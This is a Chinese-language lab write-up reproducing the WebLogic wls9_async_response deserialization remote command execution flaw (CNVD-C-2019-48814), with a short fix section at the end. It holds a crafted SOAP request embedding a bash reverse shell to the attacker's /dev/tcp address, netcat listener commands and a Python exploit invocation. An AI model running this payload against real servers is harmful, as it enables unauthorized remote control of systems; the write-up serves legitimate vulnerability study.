漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)

目录

一,漏洞信息

二,实验环境

三,漏洞利用

第一步.查看其是否开启了wls9_async_response组件

1.打开Centos

2.开启weblogic

3.访问weblogic

4.查看async 

5.访问AsyncResponseService 

 第二步,CNVD-C-2019-48814漏洞的具体利用

方法一:bp

1.监听

 2.开启代理

 3.使用bp抓包

 4.发送到repeater

 5.构造一个payload

6.go发送

7.查看终端监听 

 方法二:python脚本使用方法

1.监听

 2.使用python脚本

3.查看终端监听

 ​编辑

 四,解决办法


一,漏洞信息

漏洞编号:OracleWebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)

影响版本:WebLogic 10.x    WebLogic 12.1.3 

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。存在于weblogic自带的wls9_async_response.war组件及wls-wsat组件中,在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意HTTP 请求,未授权的情况下远程执行命令。部分版本WebLogic中默认包含的wls9_async_response包,主要是为WebLogic Server提供异步通讯服务。

反序列化:就是讲字节序列转化成对象的过程。

二,实验环境

服务器:Centos ,IP地址:10.1.1.100
攻击机器:kali ,IP地址:10.1.1.200
辅助工具:Firefox、burpsuite

来源:合天网安实验室

三,漏洞利用

第一步.查看其是否开启了wls9_async_response组件

1.打开Centos

service iptables stop                                     //关闭防火墙

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第1张图片

2.开启weblogic

 cd /usr/local/weblogic/wlserver_10.3/samples/domains/wl_server/bin     //进入到这个目录

nohup ./startWebLogic.sh                              //启动weblogic

 

3.访问weblogic

切换到kali机器,打开http://10.1.1.100:7001

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第2张图片

4.查看async 

http://10.1.1.100:7001/_async, 打开发现403,目录存在

 漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第3张图片

5.访问AsyncResponseService 

访问发送服务,查看是否开启了wls9_async_response组件

http://10.1.1.100:7001/_async/AsyncResponseService

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第4张图片 

 第二步,CNVD-C-2019-48814漏洞的具体利用

方法一:bp

1.监听

nc -lvvp 666

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第5张图片

 2.开启代理

如下图设置

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第6张图片

 

 3.使用bp抓包

抓取http://10.1.1.100:7001/_async/AsyncResponseService页面

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第7张图片

 4.发送到repeater

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第8张图片

 5.构造一个payload

POST /_async/AsyncResponseService HTTP/1.1
Host: 10.1.1.100:7001
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

   
 
xx
xx




/bin/bash


-c


bash -i >& /dev/tcp/10.1.1.200/666 0>&1







6.go发送

点击go 发现出现202,说明发送成功

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第9张图片

7.查看终端监听 

成功反弹到了shell 

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第10张图片

 方法二:python脚本使用方法

1.监听

nc -lvvp 666

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第11张图片

 2.使用python脚本

python async_reserve_shell.py http://10.1.1.100:7001/_async/AsyncResponseService 10.1.1.200 666                      

漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第12张图片 

3.查看终端监听

 漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)_第13张图片

 四,解决办法

找到并删除wls9_async_response.war、wls-wsat.war 然后重启Weblogic服务

或者将/_async/* 及 /wls-wsat/*  的路径的URL访问注释静止

你可能感兴趣的:(#,经典漏洞复现,网安,安全,网络,web安全)